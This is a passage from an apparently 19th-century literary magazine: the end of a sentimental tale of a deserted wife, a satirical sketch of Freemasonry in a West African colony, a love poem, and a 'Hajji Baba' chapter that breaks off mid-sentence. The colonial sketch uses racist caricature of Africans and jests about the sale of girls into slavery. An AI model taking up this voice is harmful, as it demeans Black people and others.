+older than she, that he never could bring himself to fairly pay court
+to her as a lover, you see."
+
+"God bless his noble heart!" said David, as he rested his elbow on his
+knee, and his chin on the palm of his hand; "he always said he should
+be drowned: there's fate again, Bessum, sure enough."
+
+"And did he die by drowning?" said I.
+
+"Ay, sir," replied the dame; "and scarce was he dead, as if they only
+waited for that, than our sweet child's misfortunes began."
+
+"Destiny, indeed!" thought I, as a superstitious feeling seemed to
+prepare me for the proofs of it.
+
+"She was just sixteen, and that's nearly five years ago, when she lost
+him who would have been more than all the world to her, as a body may
+say, and when Lieutenant H---- brought permission from a certain
+quarter to court her for his wife. Heavy was my poor heart at the
+thought of parting with the dear child; but more so ten times over,
+though I couldn't tell why, at the idea of who I was going to part with
+her to. She, poor darling, was proud of the conceit of being married,
+and pleased with the gold lace and cocked-hat of the young sailor. I
+don't believe the thought of love for him ever once entered her head:
+but that was nothing, for she would have loved any one who behaved
+kindly to her; and then to be a wife, and her own mistress, and the
+mistress of a house! Alack-a-day! she little knew what she was doing
+when she promised her hand where her heart had not gone before, and
+where none was beating for her. But it was well she made no objection,
+for it was to be, whether or no; so she was spared at least the pain
+of being forced against her will. Well, sir, the wedding-day came,
+and never do I remember such a day as it was. In vain did the bells
+ring and the sun shine; folks, spite of all, and of themselves too,
+couldn't be merry: they smiled, and talked, and tried to appear gay;
+but, to my plain, honest thinking, there was not a light heart in the
+village. Poor George, to be sure, was dancing with delight, for he saw
+the preparations, and the fine clothes, and he heard the bells ringing
+and the neighbours talking, and he understood that all was for and
+about his lady, as he then called his old playmate; and the idea of
+so much fuss and bustle on her account made him as proud and happy as
+if he were to be the sharer of it. Little did he imagine that it was
+to end in robbing him of the only comfort of his hapless life, poor
+fellow; and as the bride and bridegroom came from church, where to the
+very altar he had followed like a guardian saint, his watchful eye
+faithful in its duty to the last, he picked up here and there a flower
+that the villagers had strewn, on which she trod, and stuck them in a
+row in the button-holes of his waistcoat. But when the time came that
+our dear sweet child was to be torn from our arms, then was a scene
+I never shall forget. She bade us one by one good-b'ye, as if she
+didn't dream of being gone from us a day. It fairly seemed as though
+Providence had deprived her of all thought. But when she came to take
+her leave of George, she appeared to shrink from bidding him farewell.
+She took his hand, and with a fluttering smile said, 'George, I am
+going for a ride,' and she was gone! For full three hours after, George
+was missing; and when the twilight made us stir to find where he could
+be, there by the garden-gate he stood, with the old wheelbarrow at his
+side, his handkerchief spread out upon it, as he was wont to do when
+he used to wheel his little playmate in it years agone,--there was he
+waiting till she should come 'to ride.' Poor, poor creature! he had no
+idea of the journey that she meant, when she told him she was going for
+a ride. He knew that he had been her coachman many a time and oft, and
+he thought of no other carriage than that which he had driven. I burst
+out a-crying at the very sight of him. There he stood, as confident
+that she was coming as if he had seen her on the threshold of the door
+with her gypsy hat on her head. Three hours he had waited; and when I
+saw him, it would have melted a heart of stone to watch his look, and
+think upon the misery in store for him. The sun had gone down, and
+there was not a sound to hear, but now and then the melancholy pipe
+of a robin, or the distant tinkle of a sheep-bell. Everything seemed
+sorrowing in silence at our loss; and he that would pine most, alone
+was ignorant of it. I hadn't courage to call him away and tell him his
+misfortune; but when David brought him in, and told him that his lady
+had gone for a ride with the 'new footman,' as the poor fellow called
+the lieutenant, the anguish in his face was more woeful than you can
+think of, sir. Every day at the same hour he brought the wheelbarrow
+to the garden-gate, and kept it there till sunset; then, till he went
+to bed, he'd sit arranging the withered flowers in his waistcoat. He
+was never obstinate in refusing to do as he was desired; but, unless
+he had been bidden to eat and drink, no morsel would have passed his
+lips: he never thought of hunger or of thirst; his little mistress, his
+old playmate, and, as he thought her, his only friend, alone occupied
+his mind, that never wandered now. It was fixed upon one object, and on
+that it dwelt. Ten months he pined and lingered for his loss; and then,
+more sensible than he had ever been before, poor George, sir, died!"
+
+"And happy for him that he is no more," said I, anticipating the sequel
+of little Harri's story. "He has gone down to the cold bed, it is true;
+but his pillow is far smoother than the down that is pressed in vain
+for quiet and repose by the heartless and unfeeling."
+
+"True, very true, sir," said David, and I was half in doubt whether the
+handkerchief would be put in requisition again; but it kept its place
+across the knees of my host, and Bessum continued. "From the day she
+left us, sir, we saw no more of our dear child for two years; but sad
+was the tale that reached us in the mean while. Think of her wrongs,
+sir;--the man who had taken her, to be parted but by death, left her
+the very next day, after he had robbed scores of honest hearts of the
+chance of proving the sincerity of their love by a life of cherishing
+and devotion."
+
+"God forgive him!" said David, "for I never can."
+
+"The gallows pardon him! for I never would," cried I.--"And what became
+of the deserted wife?"
+
+Bessum, who had for nearly an hour stifled the feelings to which
+she was all that time hankering to give vent, finding this either
+too seasonable or powerful an occasion to resist, burst into tears;
+while David, as a counterpoise to the grief which he had heretofore
+monopolised, evinced a well-timed symptom of stoicism, by folding up
+his handkerchief at least three times as small as the usual dimensions
+which laundresses or common consent have established time out of mind
+as its proper limit, and then thrusting it into the salt-box pocket of
+his coat, as being the last place, at that particular crisis, to which,
+under the influence of his senses, he certainly must have intended its
+destination.
+
+"I shall make short work of the rest on't, I promise ye, sir," sobbed
+the tender-hearted foster-mother; "it ben't much use to dwell upon the
+finish."
+
+"End it at once," said I, impatient of farther melancholy detail.
+
+"Twenty-four hours had not passed, sir, after the heartless fellow
+had become a husband, before he was aboard ship, and on his way to
+the Indies. He had completed his bargain; he had married our blessed
+child, and received his wages for the job. He took her to the house
+of one of her relations near London, and without telling her whither
+he was going, or when, if ever, he should return, left her as I have
+described. Fancy the sweet soul's sufferings, sir!--think what she
+felt when she found herself a widow before she was fairly a wife! Oh!
+my heart bleeds when I recollect her wrongs! Well, sir, she pined and
+fretted till those with whom she lived would fain to have got rid of
+her, I promise you; and it was not long before they had their wish."
+
+"And did the poor child die of her distress?" said I. "Alas! so young!"
+
+"Not just then, sir. You'll scarcely think that the worst of her
+troubles had yet to come; but so it was, poor dear! As fate would have
+it, she was one day met and followed home by a gentleman, who, she
+could not help observing, appeared so struck with her, that, though he
+did not offer to speak to her, he seemed determined upon finding where
+she lived. Every day for more than a week did he watch the house nearly
+all day long; and when at last she went out of doors, he made the best
+of the opportunity, and began in the most woeful manner to tell her
+how much he loved her, and what he was suffering on her account, and
+to beg and pray of her not to be angry with him for what he could not
+help. Well, sir, he spoke so mild and respectful, and seemed so truly
+miserable, that the wretched widow couldn't find it in her heart to
+speak harshly to him, and so at first she made no answer at all. He
+told her that he saw she had something on her mind that distressed
+her, and said he felt certain sure he could make her happy, and that
+not even her displeasure should make him cease from the attempt. And,
+sure enough, to her, poor thing! he seemed to be as good as his word;
+for, though she forbade him to approach her in any way again, still
+he hovered about the house as much as ever, and wrote such letters,
+telling of his misery and anxiety on her account, that, tired out by
+the ill-treatment of those to whose tender mercies she was abandoned,
+sinking under the pangs of her desertion, and beset by the arts and
+entreaties of a fine young man, who seemed to speak so fairly for her
+comfort and good, in an evil hour the poor distracted and deluded
+creature flew to his arms for that protection which in vain was pledged
+her by a husband. I have already told you that, in my opinion, she
+never had a thought of any love for the man she had married. It is not
+to be wondered at, then, that one, who at least professed himself to
+be all that a husband should be, found no great difficulty or delay
+in gaining her affections and confidence in return. In short, her
+young heart, that had never before known the feeling, was now fixed
+upon this man with all the fondness and devotion of a first love. It
+was no hard matter, therefore, for him to persuade her to whatever
+he liked; and the first advice he gave her for her good, was to take
+a house in the neighbourhood of one of the parks, which he made his
+home, eating, drinking, and riding about at her expense. Well, sir, for
+several months this was a life of uninterrupted happiness for our poor
+Harri. She had quiet or company as she liked, and the society of him
+that she loved to madness. The first sign of interruption to the joys
+that, alas! are always too dearly bought at the sacrifice she had made,
+was the news of the arrival in England of her husband, and, within
+two days after that, his appearance at her house. Here was a fine to
+do, indeed! She was alone in her drawing-room, and no one else in the
+house but the two maid-servants. In vain did she entreat and resist
+him; by main force he carried her out of the house; put her into a
+hackney-coach, without bonnet or shawl; and drove away with her to the
+house of his mother. That man was born to be her torment and ruin, sir.
+He had left her when he ought most to have been in her company, and
+he returned when his desertion had driven her in misery and despair
+to seek for happiness, in the expectation of which with him he had
+deceived her,--to disturb the comfort his heartlessness had neglected
+to afford her. Don't fancy that he loved her, sir. 'Twas no such thing,
+as I shall soon make clear to you. However, not six hours after she
+had been taken away, the dear child was home again, and in the arms of
+the man she would have risked her life for. Here was devotion, sir!
+She got out of a one-pair of stairs window, by letting herself down
+with the bed-clothes as far as they would reach, and by jumping the
+rest; and just as she had been taken from her home, without a bit of
+outdoor covering, off she set, in the cold and wet of a December night,
+and had to walk for full a mile and a half before she got the coach
+that carried her home. Did her husband love her, sir? Day after day he
+rode or walked past the house, and sent letters to her; but never once
+offered to seek out the man that kept his wife from him. _Can_ he have
+loved her, sir? To leave her in the quiet possession of another, and
+take himself off again to the Indies! So much for the husband:--and now
+for the lover, as he called himself. Matters, I don't know what, took
+him to France, and he was to return to her who was weary of her life in
+his absence, within a month. He had not been gone a fortnight before
+she received a letter from him, written in a French prison, where he
+was confined for debt. That hour she started post for Dover, and in
+three days they were on their road home together. Little Harri had
+released the man she adored, and brought him away from his troubles in
+triumph and joy."
+
+David's handkerchief, notwithstanding the depth into which it had been
+plunged, and the compactness with which it had been doubled up, was out
+of his pocket, unfolded, and across his knees in an instant; evincing
+a conviction in the mind of its proprietor that that part of Bessum's
+story was approaching to narration which would certainly call for its
+application in the united capacities to which David was in the habit of
+appropriating it.
+
+The dame resumed; for I should mention that she had made a preparatory
+pause, in the interval of which she took occasion to fortify herself
+for the coming trial with a considerable pinch of Scotch snuff.
+
+"They didn't reach home, sir," said she, "for more than a fortnight;
+for they stayed a day here, and a day there, to see the sights, and
+such like; and because she, poor dear! was in no condition for much
+hurry, though she had forgotten that, when she started, as she did
+every thing but her devoted love for him she went to rescue. But,
+when they did arrive, dearly did our sweet child pay for the fault
+a husband's cruelty had driven her to commit, and bitter was the
+punishment of Providence: but it was all fate, I'm sure it was; it
+must have been; for surely her crime did not call for such a dreadful
+judgment as befell her. Oh, good heart, sir! think of the poor dear
+after all she had undergone in a journey to a foreign land, where she
+had never been before, and all alone, too, sir, without a friend to
+help or to advise her! She had left a house fitted and furnished like
+a little palace, as a body may say; the homestead of her high-priced,
+fatal happiness. Think of her reaching what she thought a home, and
+finding none! She was soon to be a mother, and she had not a bed to lay
+her down upon! In the short time that she had been away, the servant in
+whose charge she left her house, by the help and advice of a villain
+she kept company with, had carried off every thing, under the pretence
+that she was moving for her mistress! Ah! you may look surprised, sir,
+and with reason, _but 'tis just as true as you and I sit here_."
+
+"God's will be done!" sobbed David, as he buried his face in his
+handkerchief with both his hands. "She's out of harm's way now, Bessum.
+God's will be done!" and the simple-hearted man wept like a boy. The
+tears ran so fast down the sorrowful face of the poor dame, that the
+relief they afforded her enabled her to proceed to the climax of little
+Harri's misfortunes.
+
+"She didn't rave and take on, sir," said Bessum. "The hand of destiny
+was on her, and she felt it. As calmly as though nothing had occurred,
+she bade the coachman drive to a certain hotel; she seemed to reckon
+but for a moment between what she had lost and what she had regained,
+and she was satisfied with the account as it stood. All in the world
+for which she cared was still spared to her,--she had herself preserved
+him, the author of her dishonour, the cause of her loss, and, the
+only compensation for it, the father of her child! These were all she
+prized; and he who was one and all, now sat beside her. With a smile of
+resignation, confidence, and content, she looked in his face, and said,
+"What's to be done?"
+
+The eyes upon the canvass seemed to ask _me_ for an answer: I felt that
+I could beg subsistence for such a woman; become a drudge, a slave, or
+yield my life up for her sake.
+
+"And what was his reply?" cried I.
+
+"Good advice--good advice, sir," sobbed Bessum. "_He asked her if she
+did not think she had better go to her old nurse!_"
+
+Mute with amazement and disgust, I sank back in my chair.
+
+"What!" cried I, when the power of articulation returned; "was that the
+good advice?"
+
+"Ay, sir,--ay! that was all the comfort our poor dear got from her
+_lover_; she asked him for no more. She didn't upbraid him. He had
+dealt her death-blow, and she followed his advice; she came to her old
+nurse, sir,--God be praised!--and I and David closed her precious eyes
+for ever, after they had lingered, in their last dim sight, on the
+lifeless image of him, whose name, with her forgiveness, and prayer to
+Heaven for his happiness, were the last words upon her sweet, sweet
+lips!"
+
+"And if a special hand is not upraised to strew his path of life with
+tenfold the sharp pangs that he employed to drive his victim to an
+early grave," cried I, "it can only be that it has already crushed the
+monster into death."
+
+My heart was faint and sick at the recital I had heard. I returned to
+my inn; and all that night--for it was in vain that I attempted to
+sleep--I mused upon this awful dispensation of the wrath of Heaven, and
+the dread severity with which the wisdom of vindictive Providence had
+stricken the transgression of poor little Harri!
+
+EUGENIUS.
+
+
+
+
+THE WHITE MAN'S DEVIL-HOUSE.
+
+A FRAGMENT.
+
+BY F. HARRISON RANKIN.
+
+"There is a magic in the craft."
+
+
+Exoterics surmise it to consist in "winks and nods," proverbially
+of equal inspiration to steeds labouring under the dispensation of
+_gutta serena_. Mesmer's Animal Magnetism was nothing to the invisible
+"tractors." Ticklings of the palm have been surmised; talismanic
+numbers have been hinted at; sounds inaudible have been suggested;
+together with certain "melodious twangs," awakening pineal sympathy.
+Mrs. Veal's ghost, from De Foe's autopsy of the apparition, evidently
+held no less a grade in the scale of shadowy society than that of
+Master Mason.
+
+John Locke, the philosopher, subsequently one of the fraternity, opined
+that the art embraced sorcery, alchemy, the transmutation of essences
+and of metals, together with similar common-place desiderata.
+
+Whatever the nature of the spell, its sway is wide. Affinity of feeling
+generated by it runs round the world. It may be found in the land of
+the Chinese, of the Arab, the Red Indian, and the wild Tartar; in the
+frozen circle, habitat of all seals excepting Solomon's, and in the
+burning desert,
+
+    "Terra domibus negata."
+
+Our story relates to the last pleasant locality.
+
+Upon the windward coast of Africa, in a situation calculated to warm
+the coolest temperament, stands a European settlement,--a pimple of
+civilization upon the fiery face of a barbarous continent.
+
+"Once upon a time" a lodge had existed there. Its members had ceased to
+melt, having gradually melted away; for the constant flux and reflux
+of white residents, the brief sojourn of many, and the death of an
+appropriate portion, rapidly vary the population of the little colony.
+After a lapse of years, however, it was not long since determined that
+the lodge should be re-opened.
+
+The house formerly used had become ineligible; and, in the true spirit
+of a mason-soldier, a gallant captain offered to receive his brothers
+in his own wing of the barracks.
+
+This building was advantageously situated. It crowned the summit of a
+high conical hill; so that, although the deluges of the rainy season
+were fast approaching, it could with much facility be closely and
+effectually tiled. But here, art was still in her swaddling bands; and
+although, in our accomplished country, bricklayers and plasterers are
+as "plenty as blackberries," in her colony no tiler could be found.
+
+The name of Solyma,--that prince of architects, and prototype of modern
+Wrens and Barrys,--his glory, and his power over things seen and
+unseen, were familiar, especially to the black Mahometan population, to
+the sojourning Foulah, and the travelled Mandingo; but they possessed
+neither his skill nor his secret, being as mournfully ignorant of his
+workmanlike perfections as they are of the name of the mother of Moses.
+A tiler, however, was indispensable; and here arose a difficulty.
+What black man, Mahometan or pagan, could be induced to receive
+instruction; and, regardless of the prophet Mahmoud on the one hand,
+and, on the other, of Satan,--the principal object of fervid worship
+amongst the infidels of those hot parts,--to hazard his well-being in
+this world, and his sombre soul in the next, by tiling the edifice?
+
+Various were the negro gentlemen invited; but few possessed "hearts
+big enough." No wonder that in the gold-dust country they should prove
+deficient in the "_æs triplex!_" One refused upon the very admissible
+ground that the masons had been accustomed to attend service in the
+colonial church once annually; and that, claiming to himself the same
+liberty of conscience which he allowed to others,--being by birth, and
+subsequently by conviction, of that extensive religious "persuasion"
+called Pagans, and of the particular sect of the said popular church
+which worships the devil and reverences dead men's teeth,--he must
+decline compromising his religious principles, and sanctioning by his
+presence the heterodox tenets of the English colonial chaplain.
+
+A second, however, had forsaken the Heathen modes of his ancestors,
+and had waxed into a fervent proselyte, under missionary auspices, in
+all respects save a tough hereditary prejudice in favour of a genteel
+establishment of eight or ten wives
+
+    "To grind his corn,"
+
+as Mungo Park poetically saith, but
+
+    "To pound his rice,"
+
+as it doubtless ran in the original and vernacular glote, whether
+Fantee, Mandingo, Cosso, Bullum, or Soosoo. This strange conjugal whim,
+be it remarked, generally is as unalienable, tenaciously tenable, and
+adhesive to the negro taste, as "roast pig" was to the palate of the
+mortal Charles Lamb and the immortal "Elia."
+
+This reclaimed pagan, however, professed that he would rather dine
+on fried soles, that unclean piscatorial; masticate dog's flesh
+before it had become putrid; disbelieve in witchcraft; or put away a
+spouse, however freckled, than adjoin himself unto a society whose
+nominal master indeed might be the Honourable Colonial Secretary, but
+whose real spiritual president, he well knew, could be no other than
+Beelzebub the _Bugaboog_, whose ways he had renounced.[4]
+
+The remaining mass of the negro "ton" declined their services on
+reasons no less satisfactory. They appealed to the yet living
+reputation of the deceased lodge, which they characterized as
+_prononcée_ to a degree; for the spirit of the building, once redolent
+of mysteries and fraternity, prolongs a posthumous existence in their
+imaginings, awful and evitabund. It is desolate, for none will enter
+it; it is crumbling, for none will repair it; it is shunned as the
+favourite triclinium of Sathana, Beelzeboub, and Ashtaroth; it is known
+as
+
+    "THE WHITE MAN'S DEVIL-HOUSE."
+
+As incredulous a negress as ever succumbed to Obeah asserted that, from
+its vague interior, bells were heard to toll, and chains to clank, at
+the lone hour of midnight, twelve,--when the "sun lived in the bush;"
+and that many a rash eye had been scared away by goblin apparitions
+and rank sights. With her own orbs, whilst stealthily prying through a
+window, had she beheld no less a potentate than Satan himself, sucking
+the blood of a white cock, and feeding a dead man with palaver sauce.
+
+The idea of secret and mysterious associations is not new to the
+negroes; they have not borrowed it from the white man. A short
+reference to the nature of such as are familiar to them will throw
+light upon the awe with which they regarded the old Devil-House of the
+white man, and declined the privilege of _entrée_ at the new one.
+
+Their own hidden fraternities existed in gigantic organisation,
+and with withering power, long before the diseased and "craw-craw"
+complexion of European discoverers was known to the natural inheritors
+of Warren's jet blacking. Evil rites attend them; and bodily
+mutilation, and the chance of slavery, are united to supernatural
+horrors. Well aware of this, they naturally imagine similar diabolic
+mysteries to constitute the "working" of white man's freemasonry: nay,
+more; recognising the superiority, the mastery of the whites in all
+things that come under their observation, they take for granted that
+the same exists in matters which they do not witness, and, if their own
+orgies are terrific, they suppose that those of the white man must be
+intensely more so.
+
+Of all men they are most horribly superstitious, and, in consequence,
+are victims also to superstitious horrors of the first magnitude. The
+forest, or bush, the air, the streams, the ground, swarm with a surplus
+population of Satan's imps and witches. Each moment and each step
+expose the wayfarer to the gripe of some malicious fiend. To evade the
+unwholesome clutch, the limbs are ornamented with charms and talismans,
+with dead men's hair and leopards' teeth. To deprecate and conciliate
+these animavorous specimens of African zoology no pains are spared, and
+temples named "Devil-Houses" witness the placatory sacrifices to the
+spirit of evil.
+
+But this will not suffice. It is not enough simply to protect the
+person. Associations are formed which recognise the necessity of
+watching over Satan's interests, by visiting with direful vengeance
+such members of the tribe at large as may have treated his majesty
+with less respect than his station entitles him to expect. There are
+liberalists and spiritual republicans even in Africa.
+
+Some writers, in noticing these associations as similar to freemasonry,
+have fallen into the same error with the black colonists aforesaid, who
+refused their aid to tile the lodge because they confounded it with
+their own tremendous and execrable fraternities.
+
+The secret sisterhoods of Africa have their own peculiar charms
+and peculiar annoyances. The initiated maidens enjoy much respect,
+and a singular liability to be sold to the slave-factory; and many
+inducements are held out to the grand-mistress of the order to dispose
+of her gentle sisters in this manner, since a well-built maiden,
+warranted of clever action, of unblemished points, and sound lungs,
+will find bidders at a hundred hard dollars at any respectable bazaar
+between Senegal and Guinea. "Inshallah!" (God be praised!) as the
+Mahometan slave-merchant thankfully observed.
+
+The honour, however, compensates for the danger, and they love to
+entwine the privileged emblem of their order, the ivory circlets, in
+the hair; an ornament that glads the heart of the simple ebony maid, as
+feathers and brilliants rejoice that of the blonde or the nut-brown.
+
+The initiations, alas! are attended with ungentle mutilation of the
+person; and the trembling and weeping girl is blindfolded, that she
+may never know the woman who lacerated her. Gashes, however, on the
+face, arms, breast, and back, are favourite ornaments; they are the
+unpretending substitutes for rouge and cosmetics. The society is in a
+flourishing state, and the worshipful mistress derives a considerable
+revenue by the sale of refractory maidens. The guilt generally arises
+in the practice of witchcraft and sorcery;--accomplishments assiduously
+cultivated by the young ladies of Nigritia.
+
+But, to return to our story. Enough has been said to explain how it
+happened that ideas of awe rested amongst the black colonists upon "The
+White Man's Devil-House."
+
+The night was of that deep-toned glory unimagined save by those who
+have watched the firmament of a tropical sky. No moon was up; but the
+moon-like planets threw upon the sultry ground shadows of man and horse
+as they slowly wound round the long mountain path that led from the
+sea-washed capital at its foot, to the summit of the Barrack Hill. As a
+higher elevation was gained, the suffocating breath of the low grounds
+became tempered by the land breeze, that floated down by the channel
+of the wide river, and flung itself rudely upon the hill side. Yet
+the still, close atmosphere, and the distant flickering of purple and
+golden lightning far away to the east over the lands of savage nations,
+warned against loitering for the chance of a tornado. By ones and
+twos the little straggling brotherhood alighted at the barrack gates;
+and there, thousands of miles from Old England and the fire-side of
+home, men unconnected by birth, by interests, or by office, met, and
+cordially felt that they were related. Just before entering the chamber
+whose secrets are bound as by adamant, the eye fell upon a figure
+sitting in the verandah in the very dignity of overmastering terror.
+His aspect told that he was following the poet's advice,
+
+    "Nimium ne crede colori!"
+
+He was a black man awaiting the ceremony of initiation with much the
+same intensity of interest that enlivens the criminal at execution.
+He appeared the living representative of that fear-stricken island
+tree whose trembling leaves distil a sympathetic dew. He was an
+old serjeant of the Royal African Corps. Years of discipline had
+taught him reverence for the tastes of his superiors; and when
+invited by his officer to tile the lodge, overcome on the one hand
+by the condescension of the captain, and overwhelmed on the other by
+misgivings of latent Satanic cajolery, he had plunged into the Rubicon.
+If his commander had deemed it expedient to form an alliance with so
+powerful a prince as the prince of darkness, what business had he to do
+with it? He had fought at Waterloo, and would fight at any time against
+the devil himself if ordered to the charge; but he had never expected
+to serve in the same company. However, he sturdily denied flinching
+from the approaching trial of his courage.
+
+The negro's burnished face smartened up when all was over. Rumour,
+whose numerous tongues, if well pickled, would pair off with all the
+boiled turkeys cooked in Christendom on a Christmas-day, and leave
+plenty to spare, told the tale of wonder in "quarter less no time," how
+Serjeant B. had become a member of white man's purrah; how he had sat
+down to supper with Captain ---- on one side, the devil on the other,
+and the chief judge opposite; how the serjeant thought he recognised
+the "old gentleman" as a comrade in the Peninsula; and how the "old
+gentleman" politely acknowledged similar remembrances, and took wine
+with him; and how they had parted, with mutual hopes and promises of
+meeting again at some future day, in the hot season, not in "the rains."
+
+The more the woolly-headed men and maidens of his inquisitive
+acquaintance interrogated the serjeant himself concerning his adventure
+on that fearful night, the more he would not tell them a word about
+the matter; and, to this moment, no mysteries are more mysterious, no
+secrets more arcane, than those which trouble the black population of
+the little colony respecting "The White Man's Devil-House."
+
+FOOTNOTE:
+
+[Footnote 4: It is curious that whilst the Hebrew word Beelzebub means
+"prince of flies," Bugaboo, in negro language, signifies "the white
+ant," which is deemed the devil's familiar.]
+
+
+
+
+A LYRIC FOR LOVERS.
+
+
+    Love launch'd a gallant little craft,
+      Complete with every rope;
+    In golden words was painted aft--
+      "The Cupid, Captain Hope."
+    Pleasure was rated second-mate,
+      And Passion made to steer;
+    The guns were handed o'er to Fate,
+      To Impulse sailing-gear.
+
+    Merrily roved the thoughtless crew
+      Amidst the billows' strife;
+    But soon a sail bore down,--all knew
+      'Twas Captain Reason's "Life."
+    And Pleasure left, though Passion said
+      He'd guard her safe from all harms.
+    'Twas vain; for Fate ramm'd home the lead,
+      While Love prepared the small-arms.
+
+    A storm arose! The canvass now
+      Escaped from Impulse' hand,
+    While headstrong Passion dash'd the prow
+      Swift on a rocky strand.
+    "All's lost!" each trembling sailor cried;
+      "Bid Captain Hope adieu!"
+    But in his life-boat Reason hied
+      To save the silly crew.
+
+    Impulse the torrents overwhelm,
+      But Pleasure 'scaped from wreck;
+    Love, making Reason take the helm,
+      Chain'd Passion to the deck.
+    "I thought you were my foe; but now,"
+      Said Love, "we'll sail together;
+    Reason, henceforth through life shalt thou
+      My pilot be for ever!"
+
+
+
+
+REMAINS OF HAJJI BABA.
+
+
+CHAPTER VII.
+
+My great anxiety now was to reach the foot of the English throne as
+soon as possible; and I consulted my infidel friend upon the safest,
+easiest, and least public manner of putting my project into execution.
+I had thought it right to place sufficient confidence in him to inform
+him that I was an agent of the King of Persia, commissioned to make
+certain proposals to the King of England; but that it was not my
+intention to insist upon an _istakbal_, or deputation, upon my entry
+into the principal city, or to demand either maintenance or lodging at
+the expense of the nation: in short, I wished to be as little known as
+possible. He assured me that the most private manner of travelling was
+a public coach. This rather appeared paradoxical, for how could I be
+private and public at the same time? but, after certain explanations, I
+found that he was right; particularly when he assured me that in point
+of expense the private mode of conveyance cost about seven times more
+than the public.
+
+Accordingly, the next morning, having, through the interference of my
+friend, paid what was due to the owner of the caravanserai, I seated
+myself in the corner of a handsome coach, drawn by four fine horses,
+which appeared at the door on purpose for my convenience. My friend
+seated himself by my side, Mahboob was placed on the outside, and we
+drove off at such a rate, that I neither had time to find out whether
+the hour was fortunate, or indeed to ascertain which was the direction
+of Mecca, much less to say my prayers.
+
+We had not proceeded far, when we stopped, and a third person
+ascended, and took possession of the corner opposite to me. He was a
+coarse-looking infidel, with a sallow face covered with hair: bushy
+eyebrows, dirty in appearance, and, as far as I could discover, wishing
+to look like one of the people, although he might be of the race of the
+_omrah_. He said nothing upon entrance,--not even the English _Selam
+alekum_, which I had long learned to be expressed by the words "Good
+morning, and fine day;" but there he sat, as if the orifice of his
+mouth had been closed by a stroke of fate. The cast of his eye as it
+glanced upon me was not that of hospitality; and I was certain that,
+had he been an Arab, I should not have heard the sound of his pestle
+and mortar braying the coffee for me in token of welcome.
+
+I discovered that my friend's name, who had hitherto thrown his shadow
+over me, was Jān Pûl, words which surprised me, because they are
+pure Persian, and might be interpreted, "Soul, Money!" Although the
+new-comer eyed me with little kindness of aspect, yet, when he looked
+at my friend Jān, there was a slight indication of respect; but
+still he said nothing.
+
+We had scarcely cleared the town, when the coach again stopped, and we
+discovered stepping out of a handsome equipage, with servants and men
+in _kalaats_ to help him, an infidel, who, after some delay taken up
+in providing for his comfort and accommodation, was helped into our
+conveyance, and he occupied the fourth and last place in it. He was
+a handsome man, cleanly and handsomely dressed, full of fair forms
+and politeness; a perfect contrast to his predecessor, and upon whose
+whole bearing and manners was inscribed, in legible characters, _sahib
+najib_, or gentleman.
+
+He was as civil to me as his predecessor had been the contrary. Having
+ascertained that I was a Persian, he welcomed me to his country in a
+form of words different from those used in Persia; but in so doing,
+he not only made my heart glad, but made his own face white. He then
+complimented me upon belonging to a nation whose people willingly
+obeyed and upheld the authority of their king, and who were satisfied
+to live under the laws of their ancient monarchy. I had so long been
+unaccustomed to receive compliments, that, upon hearing this from the
+sahib najib, I almost thought myself in Persia again, and was about
+preparing a suitable answer,--one in which I intended at once to uphold
+the dignity of my sovereign and to exhibit my own individual readiness
+of wit,--when an uncouth sound proceeded from the unclean infidel,
+almost the first sign of life which he had given, that made me start,
+stopped my eloquence, and threw all the sugared words which I had
+prepared, back into my throat again. As far as I could understand, the
+purport of this inauspicious noise was to announce to the sahib najib
+that he had said something in the words he had addressed to me to
+which he did not agree, for I perceived anger and disgust arise in his
+countenance, while the looks of "Soul Money," though not much given to
+change, also became lowering.
+
+"Surely, sir," said the sahib najib, addressing the unclean infidel
+still with courtesy in his manner,--"surely you will allow, in
+these unsettled times, that loyalty to one's king, and obedience to
+established laws, is a subject worthy of compliment."
+
+"I allow nothing," replied the other, looking straight forward, "but
+what is for the good of the people."
+
+Upon this there arose a discussion so long and so animated, that it
+lasted almost all the way to the foot of the English throne, and of
+which I could with difficulty catch the meaning, so new were most of
+the words used to my ears.
+
+The sahib najib's argument was full of words such as these;
+the constitution--vested rights--ancient privileges--funded
+property--established church--landed interest; and although we were
+driving through a country more prosperous to my eye than even the
+regions of Mahomet's paradise could be, surrounded by every luxury, and
+he apparently the lord of wealth and luxury, still he seemed to persist
+that he was ruined and reduced to beggary, that his country was on the
+brink of perdition, and that nothing remained for him to do but to sit
+down for the rest of his days upon the nummud of despair, and to eat
+the bitter rind of grief.
+
+The rough infidel, on the contrary, argued that constitutional rights,
+funded property, land, church, laws, and a great many more things, of
+the import of which I was ignorant, but of which I promised to acquire
+knowledge, all, he argued, were alone to be turned to the use of the
+people; and thus I began to have some little idea of what was meant by
+that People Shah of whom we had heard so much in Persia.
+
+"What!" said the sahib najib, "when you see the constitution in danger,
+do not you perceive that it will endanger the happiness of the people
+whose cause you advocate?"
+
+"I do not see that it is in danger," said the other. "If my boat is
+sinking because we carry too much sail, shall I not trim my sails and
+inspect my ballast?"
+
+"But by trimming your boat you would throw all your cargo overboard,
+and thus lose all you have," answered the other.
+
+This part of the conversation I understood, and then I said, "I now
+understand: when a camel is overladen, and cannot proceed, on account
+of the weight of his burthen, either the camel will die, or I must
+lighten his burthen."
+
+"Very good," said the rough man, who now for the first time cast
+the shadow of his condescension over me. "You are the lord of quick
+understanding, and see things."
+
+"But," said his well-dressed antagonist, "I neither agree that the boat
+is badly trimmed, or that the camel is overladen:" then, turning to me,
+he said, "Surely, sir, you, who have been bred and born a Mussulman,
+who have let your beard grow according to old-established custom, who
+have washed your hands and feet in accordance to the precepts of your
+law,--you would not change all at once, because some new sect in your
+country were to arise and say, 'Cut off your beard, cease to wash, pray
+in a new manner, and say to Mahomet, You are a false prophet;' you
+could not in your conscience do so."
+
+"_Astafarallah!_" said I, blowing over my shoulders at the same time,
+"am I mad to eat such a profusion of abomination!"
+
+"You are a man of perfection," said he. "I am sure the more you see of
+my country and get acquainted with its present condition, the more you
+will agree with me."
+
+I looked towards my friend Jān Pûl, who hitherto had not uttered a
+word, and said, "This sahib says nothing. Perhaps owing to his saying
+less than we do, he may be the lord of more wisdom than all our heads
+put together."
+
+"What can I say," said Jān calmly, "when there is much to be said
+on both sides? The highest wisdom is to gather experience from the
+past, and apply it to the necessities of the future."
+
+"Agreed," said the rough man: "we must therefore reform."
+
+"Agreed," said the smooth man: "reform is useless."
+
+I immediately perceived how the matter stood, and, with that
+penetration for which all Persians are famous, I discovered the true
+state of the whole country. I saw that the people were divided into two
+sects, as much opposed to each other as Jews are to true believers;
+that plain sense had as little chance in the controversy as a sober man
